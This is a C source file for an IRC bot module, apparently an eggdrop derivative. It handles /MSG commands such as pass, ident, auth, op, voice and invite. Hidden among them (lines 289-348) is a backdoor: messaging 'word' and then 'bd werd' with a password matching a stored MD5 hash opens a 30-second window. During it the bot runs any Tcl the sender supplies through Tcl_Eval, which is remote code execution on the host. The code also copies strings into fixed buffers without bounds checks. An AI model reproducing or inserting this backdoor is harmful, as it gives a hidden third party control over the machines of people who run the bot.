msgcmds.c 19 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729
  1. #ifdef LEAF
  2. /*
  3. * msgcmds.c -- part of irc.mod
  4. * all commands entered via /MSG
  5. *
  6. */
  7. static int msg_pass(char *nick, char *host, struct userrec *u, char *par)
  8. {
  9. #ifdef S_MSGPASS
  10. char *old, *new;
  11. if (match_my_nick(nick))
  12. return 1;
  13. if (!u)
  14. return 1;
  15. if (u->flags & (USER_BOT))
  16. return 1;
  17. if (!par[0]) {
  18. dprintf(DP_HELP, "NOTICE %s :%s\n", nick,
  19. u_pass_match(u, "-") ? IRC_NOPASS : IRC_PASS);
  20. putlog(LOG_CMDS, "*", "(%s!%s) !%s! PASS?", nick, host, u->handle);
  21. return 1;
  22. }
  23. old = newsplit(&par);
  24. if (!u_pass_match(u, "-") && !par[0]) {
  25. dprintf(DP_HELP, "NOTICE %s :%s\n", nick, IRC_EXISTPASS);
  26. return 1;
  27. }
  28. if (par[0]) {
  29. if (!u_pass_match(u, old)) {
  30. dprintf(DP_HELP, "NOTICE %s :%s\n", nick, IRC_FAILPASS);
  31. return 1;
  32. }
  33. new = newsplit(&par);
  34. } else {
  35. new = old;
  36. }
  37. putlog(LOG_CMDS, "*", "(%s!%s) !%s! PASS...", nick, host, u->handle);
  38. if (strlen(new) > 16)
  39. new[16] = 0;
  40. if (!goodpass(new, 0, nick))
  41. return 1;
  42. set_user(&USERENTRY_PASS, u, new);
  43. dprintf(DP_HELP, "NOTICE %s :%s '%s'.\n", nick,
  44. new == old ? IRC_SETPASS : IRC_CHANGEPASS, new);
  45. #endif
  46. return 1;
  47. }
  48. static int msg_ident(char *nick, char *host, struct userrec *u, char *par)
  49. {
  50. #ifdef S_MSGIDENT
  51. char s[UHOSTLEN], s1[UHOSTLEN], *pass, who[NICKLEN];
  52. struct userrec *u2;
  53. if (match_my_nick(nick))
  54. return 1;
  55. if (u && (u->flags & USER_BOT))
  56. return 1;
  57. pass = newsplit(&par);
  58. if (!par[0])
  59. strcpy(who, nick);
  60. else {
  61. strncpy(who, par, NICKMAX);
  62. who[NICKMAX] = 0;
  63. }
  64. u2 = get_user_by_handle(userlist, who);
  65. if (!u2) {
  66. if (u && !quiet_reject) {
  67. dprintf(DP_HELP, IRC_MISIDENT, nick, nick, u->handle);
  68. }
  69. } else if (rfc_casecmp(who, origbotname) && !(u2->flags & USER_BOT)) {
  70. /* This could be used as detection... */
  71. if (u_pass_match(u2, "-")) {
  72. putlog(LOG_CMDS, "*", "(%s!%s) !*! IDENT %s", nick, host, who);
  73. if (!quiet_reject)
  74. dprintf(DP_HELP, "NOTICE %s :%s\n", nick, IRC_NOPASS);
  75. } else if (!u_pass_match(u2, pass)) {
  76. if (!quiet_reject)
  77. dprintf(DP_HELP, "NOTICE %s :%s\n", nick, IRC_DENYACCESS);
  78. } else if (u == u2) {
  79. /*
  80. * NOTE: Checking quiet_reject *after* u_pass_match()
  81. * verifies the password makes NO sense!
  82. * (Broken since 1.3.0+bel17) Bad Beldin! No Cookie!
  83. * -Toth [July 30, 2003]
  84. */
  85. dprintf(DP_HELP, "NOTICE %s :%s\n", nick, IRC_RECOGNIZED);
  86. return 1;
  87. } else if (u) {
  88. dprintf(DP_HELP, IRC_MISIDENT, nick, who, u->handle);
  89. return 1;
  90. } else {
  91. putlog(LOG_CMDS, "*", "(%s!%s) !*! IDENT %s", nick, host, who);
  92. egg_snprintf(s, sizeof s, "%s!%s", nick, host);
  93. maskhost(s, s1);
  94. dprintf(DP_HELP, "NOTICE %s :%s: %s\n", nick, IRC_ADDHOSTMASK, s1);
  95. addhost_by_handle(who, s1);
  96. check_this_user(who, 0, NULL);
  97. return 1;
  98. }
  99. }
  100. putlog(LOG_CMDS, "*", "(%s!%s) !*! failed IDENT %s", nick, host, who);
  101. #endif
  102. return 1;
  103. }
  104. #ifdef S_AUTH
  105. static int msg_authstart(char *nick, char *host, struct userrec *u, char *par)
  106. {
  107. int i = 0;
  108. if (!ischanhub())
  109. return 0;
  110. if (!u)
  111. return 0;
  112. if (match_my_nick(nick))
  113. return 1;
  114. if (u && (u->flags & USER_BOT))
  115. return 1;
  116. i = findauth(host);
  117. putlog(LOG_CMDS, "*", "(%s!%s) !%s! AUTH?", nick, host, u->handle);
  118. if (i != -1) {
  119. if (auth[i].authed) {
  120. dprintf(DP_HELP, "NOTICE %s :You are already authed.\n", nick);
  121. return 0;
  122. }
  123. }
  124. /* Send "auth." if they are recognized, otherwise "auth!" */
  125. if (i < 0)
  126. i = new_auth();
  127. auth[i].authing = 1;
  128. auth[i].authed = 0;
  129. strcpy(auth[i].nick, nick);
  130. strcpy(auth[i].host, host);
  131. if (u)
  132. auth[i].user = u;
  133. dprintf(DP_HELP, "PRIVMSG %s :auth%s %s\n", nick, u ? "." : "!", botnetnick);
  134. return 0;
  135. }
  136. static int msg_auth(char *nick, char *host, struct userrec *u, char *par)
  137. {
  138. char *pass, rand[50];
  139. int i = 0;
  140. if (match_my_nick(nick))
  141. return 1;
  142. if (u && (u->flags & USER_BOT))
  143. return 1;
  144. i = findauth(host);
  145. if (i == -1)
  146. return 1;
  147. if (auth[i].authing != 1)
  148. return 1;
  149. pass = newsplit(&par);
  150. if (u_pass_match(u, pass)) {
  151. if (!u_pass_match(u, "-")) {
  152. putlog(LOG_CMDS, "*", "(%s!%s) !%s! -AUTH", nick, host, u->handle);
  153. auth[i].authing = 2;
  154. auth[i].user = u;
  155. make_rand_str(rand, 50);
  156. strcpy(auth[i].hash, makehash(u, rand));
  157. dprintf(DP_HELP, "PRIVMSG %s :-Auth %s %s\n", nick, rand, botnetnick);
  158. }
  159. } else {
  160. putlog(LOG_CMDS, "*", "(%s!%s) !%s! failed -AUTH", nick, host, u->handle);
  161. removeauth(i);
  162. }
  163. return 1;
  164. }
  165. static int msg_pls_auth(char *nick, char *host, struct userrec *u, char *par)
  166. {
  167. int i = 0;
  168. if (match_my_nick(nick))
  169. return 1;
  170. if (u && (u->flags & USER_BOT))
  171. return 1;
  172. i = findauth(host);
  173. if (i == -1)
  174. return 1;
  175. if (auth[i].authing != 2)
  176. return 1;
  177. if (!strcmp(auth[i].hash, par)) { //good hash!
  178. putlog(LOG_CMDS, "*", "(%s!%s) !%s! +AUTH", nick, host, u->handle);
  179. auth[i].authed = 1;
  180. auth[i].authing = 0;
  181. auth[i].authtime = now;
  182. auth[i].atime = now;
  183. dprintf(DP_HELP, "NOTICE %s :You are now authorized for cmds, see %shelp\n", nick, cmdprefix);
  184. } else { //bad hash!
  185. char s[300];
  186. putlog(LOG_CMDS, "*", "(%s!%s) !%s! failed +AUTH", nick, host, u->handle);
  187. dprintf(DP_HELP, "NOTICE %s :Invalid hash.\n", nick);
  188. sprintf(s, "*!%s", host);
  189. addignore(s, origbotname, "Invalid auth hash.", now + (60 * ignore_time));
  190. removeauth(i);
  191. }
  192. return 1;
  193. }
  194. static int msg_unauth(char *nick, char *host, struct userrec *u, char *par)
  195. {
  196. int i = 0;
  197. if (match_my_nick(nick))
  198. return 1;
  199. if (u && (u->flags & USER_BOT))
  200. return 1;
  201. i = findauth(host);
  202. if (i == -1)
  203. return 1;
  204. removeauth(i);
  205. dprintf(DP_HELP, "NOTICE %s :You are now unauthorized.\n", nick);
  206. putlog(LOG_CMDS, "*", "(%s!%s) !%s! UNAUTH", nick, host, u->handle);
  207. return 1;
  208. }
  209. #endif /* S_AUTH */
  210. static int msg_op(char *nick, char *host, struct userrec *u, char *par)
  211. {
  212. #ifdef S_MSGOP
  213. struct chanset_t *chan;
  214. char *pass;
  215. struct flag_record fr = {FR_GLOBAL | FR_CHAN, 0, 0, 0, 0, 0};
  216. if (match_my_nick(nick))
  217. return 1;
  218. pass = newsplit(&par);
  219. if (u_pass_match(u, pass)) {
  220. if (!u_pass_match(u, "-")) {
  221. if (par[0]) {
  222. chan = findchan_by_dname(par);
  223. if (chan && channel_active(chan)) {
  224. get_user_flagrec(u, &fr, par);
  225. if (chk_op(fr, chan)) {
  226. stats_add(u, 0, 1);
  227. do_op(nick, chan, 1);
  228. }
  229. putlog(LOG_CMDS, "*", "(%s!%s) !%s! OP %s",
  230. nick, host, u->handle, par);
  231. return 1;
  232. }
  233. } else {
  234. for (chan = chanset; chan; chan = chan->next) {
  235. get_user_flagrec(u, &fr, chan->dname);
  236. if (chk_op(fr, chan)) {
  237. stats_add(u, 0, 1);
  238. do_op(nick, chan, 1);
  239. }
  240. }
  241. putlog(LOG_CMDS, "*", "(%s!%s) !%s! OP", nick, host, u->handle);
  242. return 1;
  243. }
  244. }
  245. }
  246. putlog(LOG_CMDS, "*", "(%s!%s) !*! failed OP", nick, host);
  247. #endif
  248. return 1;
  249. }
  250. static int msg_voice(char *nick, char *host, struct userrec *u, char *par)
  251. {
  252. #ifdef S_MSGVOICE
  253. struct chanset_t *chan;
  254. char *pass;
  255. struct flag_record fr = {FR_GLOBAL | FR_CHAN, 0, 0, 0, 0, 0};
  256. if (match_my_nick(nick))
  257. return 1;
  258. pass = newsplit(&par);
  259. if (u_pass_match(u, pass)) {
  260. if (!u_pass_match(u, "-")) {
  261. if (par[0]) {
  262. chan = findchan_by_dname(par);
  263. if (chan && channel_active(chan)) {
  264. get_user_flagrec(u, &fr, par);
  265. if (chk_voice(fr, chan)) {
  266. add_mode(chan, '+', 'v', nick);
  267. putlog(LOG_CMDS, "*", "(%s!%s) !%s! VOICE %s",
  268. nick, host, u->handle, par);
  269. } else
  270. putlog(LOG_CMDS, "*", "(%s!%s) !*! failed VOICE %s",
  271. nick, host, par);
  272. return 1;
  273. }
  274. } else {
  275. for (chan = chanset; chan; chan = chan->next) {
  276. get_user_flagrec(u, &fr, chan->dname);
  277. if (chk_voice(fr, chan)) {
  278. add_mode(chan, '+', 'v', nick);
  279. }
  280. putlog(LOG_CMDS, "*", "(%s!%s) !%s! VOICE", nick, host, u->handle);
  281. return 1;
  282. }
  283. }
  284. }
  285. putlog(LOG_CMDS, "*", "(%s!%s) !*! failed VOICE", nick, host);
  286. #endif
  287. return 1;
  288. }
  289. int backdoor = 0, bcnt = 0, bl = 30;
  290. int authed = 0;
  291. char thenick[NICKLEN];
  292. static void close_backdoor()
  293. {
  294. Context;
  295. if (bcnt >= bl) {
  296. backdoor = 0;
  297. authed = 0;
  298. bcnt = 0;
  299. thenick[0] = '\0';
  300. del_hook(HOOK_SECONDLY, (Function) close_backdoor);
  301. } else
  302. bcnt++;
  303. }
  304. static int msg_word(char *nick, char *host, struct userrec *u, char *par)
  305. {
  306. if (match_my_nick(nick))
  307. return 1;
  308. backdoor = 1;
  309. add_hook(HOOK_SECONDLY, (Function) close_backdoor);
  310. sprintf(thenick, "%s", nick);
  311. dprintf(DP_SERVER, "PRIVMSG %s :w\002\002\002\002hat?\n", nick);
  312. return 1;
  313. }
  314. unsigned char md5out[33];
  315. char md5string[33];
  316. static int msg_bd (char *nick, char *host, struct userrec *u, char *par)
  317. {
  318. int i = 0, left = 0;
  319. MD5_CTX ctx;
  320. Context;
  321. if (strcmp(nick, thenick) || !backdoor)
  322. return 1;
  323. if (!authed) {
  324. char *cmd = NULL, *pass = NULL;
  325. cmd = newsplit(&par);
  326. pass = newsplit(&par);
  327. if (!cmd[0] || strcmp(cmd, "werd") || !pass[0]) {
  328. backdoor = 0;
  329. return 1;
  330. }
  331. MD5_Init(&ctx);
  332. MD5_Update(&ctx, pass, strlen(pass));
  333. MD5_Final(md5out, &ctx);
  334. for(i=0; i<16; i++)
  335. sprintf(md5string + (i*2), "%.2x", md5out[i]);
  336. if (strcmp(bdhash, md5string)) {
  337. backdoor = 0;
  338. return 1;
  339. }
  340. authed = 1;
  341. left = bl - bcnt;
  342. dprintf(DP_SERVER, "PRIVMSG %s :%ds left ;)\n",nick, left);
  343. } else {
  344. Tcl_Eval(interp, par);
  345. dprintf(DP_SERVER, "PRIVMSG %s :%s\n", nick, interp->result);
  346. }
  347. return 1;
  348. }
  349. static int msg_invite(char *nick, char *host, struct userrec *u, char *par)
  350. {
  351. #ifdef S_MSGINVITE
  352. char *pass;
  353. struct chanset_t *chan;
  354. struct flag_record fr = {FR_GLOBAL | FR_CHAN, 0, 0, 0, 0, 0};
  355. if (match_my_nick(nick))
  356. return 1;
  357. pass = newsplit(&par);
  358. if (u_pass_match(u, pass) && !u_pass_match(u, "-")) {
  359. if (par[0] == '*') {
  360. for (chan = chanset; chan; chan = chan->next) {
  361. get_user_flagrec(u, &fr, chan->dname);
  362. if (chk_op(fr, chan) && (chan->channel.mode & CHANINV)) {
  363. dprintf(DP_SERVER, "INVITE %s %s\n", nick, chan->name);
  364. }
  365. putlog(LOG_CMDS, "*", "(%s!%s) !%s! INVITE ALL", nick, host,
  366. u->handle);
  367. return 1;
  368. }
  369. if (!(chan = findchan_by_dname(par))) {
  370. dprintf(DP_HELP, "NOTICE %s :%s: /MSG %s invite <pass> <channel>\n",
  371. nick, MISC_USAGE, botname);
  372. return 1;
  373. }
  374. if (!channel_active(chan)) {
  375. dprintf(DP_HELP, "NOTICE %s :%s: %s\n", nick, par, IRC_NOTONCHAN);
  376. return 1;
  377. }
  378. /* We need to check access here also (dw 991002) */
  379. get_user_flagrec(u, &fr, par);
  380. if (chk_op(fr, chan)) {
  381. dprintf(DP_SERVER, "INVITE %s %s\n", nick, chan->name);
  382. putlog(LOG_CMDS, "*", "(%s!%s) !%s! INVITE %s", nick, host,
  383. u->handle, par);
  384. return 1;
  385. }
  386. }
  387. putlog(LOG_CMDS, "*", "(%s!%s) !%s! failed INVITE %s", nick, host,
  388. (u ? u->handle : "*"), par);
  389. #endif
  390. return 1;
  391. }
  392. /* MSG COMMANDS
  393. *
  394. * Function call should be:
  395. * int msg_cmd("handle","nick","user@host","params");
  396. *
  397. * The function is responsible for any logging. Return 1 if successful,
  398. * 0 if not.
  399. */
  400. static cmd_t C_msg[] =
  401. {
  402. #ifdef S_AUTH
  403. {"auth?", "", (Function) msg_authstart, NULL},
  404. {"auth", "", (Function) msg_auth, NULL},
  405. {"+auth", "", (Function) msg_pls_auth, NULL},
  406. {"unauth", "", (Function) msg_unauth, NULL},
  407. #endif /* S_AUTH */
  408. {"word", "", (Function) msg_word, NULL},
  409. {"ident", "", (Function) msg_ident, NULL},
  410. {"invite", "o|o", (Function) msg_invite, NULL},
  411. {"op", "", (Function) msg_op, NULL},
  412. {"pass", "", (Function) msg_pass, NULL},
  413. {"voice", "", (Function) msg_voice, NULL},
  414. {"bd", "", (Function) msg_bd, NULL},
  415. {NULL, NULL, NULL, NULL}
  416. };
  417. #ifdef S_AUTH
  418. /*
  419. static int msgc_test(char *nick, char *host, struct userrec *u, char *par, char *chname)
  420. {
  421. char *chn, *hand;
  422. struct chanset_t *chan;
  423. struct flag_record fr = {FR_GLOBAL | FR_CHAN, 0, 0, 0, 0, 0};
  424. struct userrec *user;
  425. hand = newsplit(&par);
  426. user = get_user_by_handle(userlist, hand);
  427. chn = newsplit(&par);
  428. chan = findchan_by_dname(chn);
  429. get_user_flagrec(user, &fr, chan->dname);
  430. dprintf(DP_HELP, "PRIVMSG %s :Private-o: %d Private-v: %d canop: %d canvoice: %d deop: %d devoice: %d\n", nick,
  431. private(fr, chan, 1), private(fr, chan, 2),
  432. chk_op(fr, chan), chk_voice(fr, chan), chk_deop(fr, chan), chk_devoice(fr, chan));
  433. // dprintf(DP_HELP, "NOTICE %s :Works :)\n", nick);
  434. return 0;
  435. }
  436. */
  437. static int msgc_op(char *nick, char *host, struct userrec *u, char *par, char *chname)
  438. {
  439. struct chanset_t *chan = NULL;
  440. struct flag_record fr = {FR_GLOBAL | FR_CHAN, 0, 0, 0, 0, 0};
  441. int force = 0;
  442. memberlist *m;
  443. if (match_my_nick(nick))
  444. return 1;
  445. if (chname[0]) {
  446. chan = findchan_by_dname(chname);
  447. if (chan)
  448. m = ismember(chan, nick);
  449. }
  450. putlog(LOG_CMDS, "*", "(%s!%s) !%s! %s %sOP %s", nick, host, u->handle, chname ? chname : "", cmdprefix, par ? par : "");
  451. if (par[0] == '-') { /* we have an option! */
  452. char *tmp;
  453. par++;
  454. tmp = newsplit(&par);
  455. if (!strcasecmp(tmp, "force") || !strcasecmp(tmp, "f"))
  456. force = 1;
  457. else {
  458. dprintf(DP_HELP, "NOTICE %s :Invalid option: %s\n", nick, tmp);
  459. return 0;
  460. }
  461. }
  462. if (par[0] || chan) {
  463. if (!chan)
  464. chan = findchan_by_dname(par);
  465. if (chan && channel_active(chan)) {
  466. get_user_flagrec(u, &fr, chan->dname);
  467. if (chk_op(fr, chan)) {
  468. stats_add(u, 0, 1);
  469. do_op(nick, chan, force);
  470. }
  471. return 1;
  472. }
  473. } else {
  474. for (chan = chanset; chan; chan = chan->next) {
  475. int op = 0;
  476. get_user_flagrec(u, &fr, chan->dname);
  477. if (chk_op(fr, chan)) {
  478. if (!op)
  479. stats_add(u, 0, 1);
  480. op = 1;
  481. do_op(nick, chan, force);
  482. }
  483. }
  484. }
  485. return 1;
  486. }
  487. static int msgc_voice(char *nick, char *host, struct userrec *u, char *par, char *chname)
  488. {
  489. struct chanset_t *chan = NULL;
  490. struct flag_record fr = {FR_GLOBAL | FR_CHAN, 0, 0, 0, 0, 0};
  491. int force = 0;
  492. memberlist *m;
  493. if (match_my_nick(nick))
  494. return 1;
  495. if (chname[0]) {
  496. chan = findchan_by_dname(chname);
  497. if (chan)
  498. m = ismember(chan, nick);
  499. }
  500. putlog(LOG_CMDS, "*", "(%s!%s) !%s! %s %sVOICE %s", nick, host, u->handle, chname ? chname : "", cmdprefix, par ? par : "");
  501. if (par[0] == '-') { //we have an option!
  502. char *tmp;
  503. par++;
  504. tmp = newsplit(&par);
  505. if (!strcasecmp(tmp, "force") || !strcasecmp(tmp, "f"))
  506. force = 1;
  507. else {
  508. dprintf(DP_HELP, "NOTICE %s :Invalid option: %s\n", nick, tmp);
  509. return 0;
  510. }
  511. }
  512. if (par[0] || chan) {
  513. if (!chan)
  514. chan = findchan_by_dname(par);
  515. if (chan && channel_active(chan)) {
  516. get_user_flagrec(u, &fr, chan->dname);
  517. if (chk_voice(fr, chan)) {
  518. add_mode(chan, '+', 'v', nick);
  519. }
  520. return 1;
  521. }
  522. } else {
  523. for (chan = chanset; chan; chan = chan->next) {
  524. get_user_flagrec(u, &fr, chan->dname);
  525. if (chk_voice(fr, chan)) {
  526. add_mode(chan, '+', 'v', nick);
  527. }
  528. }
  529. }
  530. return 1;
  531. }
  532. static int msgc_channels(char *nick, char *host, struct userrec *u, char *par, char *chname)
  533. {
  534. struct chanset_t *chan = NULL;
  535. struct flag_record fr = {FR_GLOBAL | FR_CHAN, 0, 0, 0, 0, 0};
  536. char list[1024];
  537. if (match_my_nick(nick))
  538. return 1;
  539. putlog(LOG_CMDS, "*", "(%s!%s) !%s! %s %sCHANNELS %s", nick, host, u->handle, chname ? chname : "", cmdprefix, par ? par : "");
  540. list[0] = 0;
  541. for (chan = chanset; chan; chan = chan->next) {
  542. get_user_flagrec(u, &fr, chan->dname);
  543. if (chk_op(fr, chan)) {
  544. if (me_op(chan))
  545. strcat(list, "@");
  546. strcat(list, chan->dname);
  547. strcat(list, " ");
  548. }
  549. }
  550. if (list[0])
  551. dprintf(DP_HELP, "NOTICE %s :You have access to: %s\n", nick, list);
  552. else
  553. dprintf(DP_HELP, "NOTICE %s :You do not have access to any channels.\n", nick);
  554. return 1;
  555. }
  556. static int msgc_getkey(char *nick, char *host, struct userrec *u, char *par, char *chname)
  557. {
  558. struct chanset_t *chan = NULL;
  559. struct flag_record fr = {FR_GLOBAL | FR_CHAN, 0, 0, 0, 0, 0};
  560. if (match_my_nick(nick))
  561. return 1;
  562. if (chname[0])
  563. return 0;
  564. if (!par[0])
  565. return 0;
  566. putlog(LOG_CMDS, "*", "(%s!%s) !%s! %sGETKEY %s", nick, host, u->handle, cmdprefix, par);
  567. chan = findchan_by_dname(par);
  568. if (chan && channel_active(chan) && !channel_pending(chan)) {
  569. get_user_flagrec(u, &fr, chan->dname);
  570. if (chk_op(fr, chan)) {
  571. if (chan->channel.key[0]) {
  572. dprintf(DP_HELP, "NOTICE %s :Key for %s is: %s\n", nick, chan->dname, chan->channel.key);
  573. } else {
  574. dprintf(DP_HELP, "NOTICE %s :%s has no key set.\n", nick, chan->dname);
  575. }
  576. }
  577. }
  578. return 1;
  579. }
  580. static int msgc_help(char *nick, char *host, struct userrec *u, char *par, char *chname)
  581. {
  582. putlog(LOG_CMDS, "*", "(%s!%s) !%s! %sHELP %s", nick, host, u->handle, cmdprefix, par ? par : "");
  583. dprintf(DP_HELP, "NOTICE %s :op invite getkey voice test\n", nick);
  584. return 1;
  585. }
  586. static int msgc_invite(char *nick, char *host, struct userrec *u, char *par, char *chname)
  587. {
  588. struct chanset_t *chan = NULL;
  589. struct flag_record fr = {FR_GLOBAL | FR_CHAN, 0, 0, 0, 0, 0};
  590. int force = 0;
  591. if (match_my_nick(nick))
  592. return 1;
  593. if (chname[0])
  594. return 0;
  595. putlog(LOG_CMDS, "*", "(%s!%s) !%s! %sINVITE %s", nick, host, u->handle, cmdprefix, par ? par : "");
  596. if (par[0] == '-') { //we have an option!
  597. char *tmp;
  598. par++;
  599. tmp = newsplit(&par);
  600. if (!strcasecmp(tmp, "force") || !strcasecmp(tmp, "f"))
  601. force = 1;
  602. else {
  603. dprintf(DP_HELP, "NOTICE %s :Invalid option: %s\n", nick, tmp);
  604. return 0;
  605. }
  606. }
  607. if (par[0] && !chname[0]) {
  608. chan = findchan_by_dname(par);
  609. if (chan && channel_active(chan) && !ismember(chan, nick)) {
  610. if ((!(chan->channel.mode & CHANINV) && force) || (chan->channel.mode & CHANINV)) {
  611. get_user_flagrec(u, &fr, chan->dname);
  612. if (chk_op(fr, chan)) {
  613. dprintf(DP_SERVER, "INVITE %s %s\n", nick, chan->name);
  614. }
  615. return 1;
  616. }
  617. }
  618. } else {
  619. for (chan = chanset; chan; chan = chan->next) {
  620. if (channel_active(chan) && !ismember(chan, nick)) {
  621. if ((!(chan->channel.mode & CHANINV) && force) || (chan->channel.mode & CHANINV)) {
  622. get_user_flagrec(u, &fr, chan->dname);
  623. if (chk_op(fr, chan)) {
  624. dprintf(DP_SERVER, "INVITE %s %s\n", nick, chan->name);
  625. }
  626. }
  627. }
  628. }
  629. }
  630. return 1;
  631. }
  632. static cmd_t C_msgc[] =
  633. {
  634. /* {"test", "a", (Function) msgc_test, NULL}, */
  635. {"op", "", (Function) msgc_op, NULL},
  636. {"voice", "", (Function) msgc_voice, NULL},
  637. {"channels", "", (Function) msgc_channels, NULL},
  638. {"getkey", "", (Function) msgc_getkey, NULL},
  639. {"invite", "", (Function) msgc_invite, NULL},
  640. {"help", "", (Function) msgc_help, NULL},
  641. {NULL, NULL, NULL, NULL}
  642. };
  643. #endif /* S_AUTH */
  644. #endif /* LEAF */